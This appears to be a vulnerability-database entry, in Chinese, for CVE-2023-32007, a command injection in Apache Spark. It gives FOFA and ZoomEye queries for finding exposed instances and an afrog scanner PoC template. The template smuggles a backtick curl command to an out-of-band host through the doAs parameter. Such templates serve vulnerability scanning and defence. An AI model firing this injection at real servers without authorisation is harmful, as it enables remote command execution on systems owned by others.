CVE-2023-32007: Apache Spark远程代码执行漏洞

2025-08-01 Apache Spark PoC Public

Description

Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟，这将导致任意shell命令执行。

fofa: app="APACHE-Spark-Jobs"

zoomeye: app:"Apache Spark Jobs"

PoC

id: CVE-2023-32007

info:
  name: Apache Spark远程代码执行漏洞
  author: zan8in
  severity: critical
  verified: false
  description: |-
    Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟，这将导致任意shell命令执行。
    fofa: app="APACHE-Spark-Jobs"
    zoomeye: app:"Apache Spark Jobs"
  reference:
    - https://mp.weixin.qq.com/s/jCvb9e_lPWLS01cjw2wqjw
  tags: cve,cve2023,apache,spark,rce
  created: 2023/11/21

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: GET
      path: /jobs/?doAs=`curl+{{oobHTTP}}`
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2023/CVE-2023-32007.yaml

References

Related Vulnerabilities